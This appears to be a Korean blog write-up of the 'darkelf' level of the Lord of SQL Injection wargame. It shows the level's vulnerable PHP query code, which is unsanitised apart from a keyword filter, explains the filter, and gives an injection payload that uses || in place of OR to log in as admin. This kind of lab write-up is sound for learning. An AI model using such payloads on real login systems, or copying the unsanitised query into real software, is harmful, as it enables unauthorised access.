728x90
반응형

query : select id from prob_darkelf where id='guest' and pw=''

 

<?php 

  include "./config.php"

  login_chk(); 

  $db dbconnect();  

  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 

  if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 

  $query "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"

  echo "<hr>query : <strong>{$query}</strong><hr><br>"

  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"

  if($result['id'] == 'admin'solve("darkelf"); 

  highlight_file(__FILE__); 

?>

 

 

 

코드 해석

if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 

  • prob  .  _  () 특수문자 필터링

if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 

  • or  and 대한 필터링

if($result['id'] == 'admin'solve("darkelf"); 

  • id admin 경우 문제 해결

 

 

문제 해결

or , and 대한 필터링 대신 ||, && 활용

  • GET 방식으로 URL SQL 대입 ( ?pw=' || id='admin'%23)
  • query : select id from prob_darkelf where id='guest' and pw='' || id='admin'#'
728x90

'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글

[ LS - 08 ] troll  (0) 2021.12.18
[ LS - 07 ] orge  (0) 2021.12.18
[ LS - 05 ] wolfman  (0) 2021.12.18
[ LS - 04 ] orc  (0) 2021.12.18
[ LS - 03 ] goblin  (0) 2021.12.18

+ Recent posts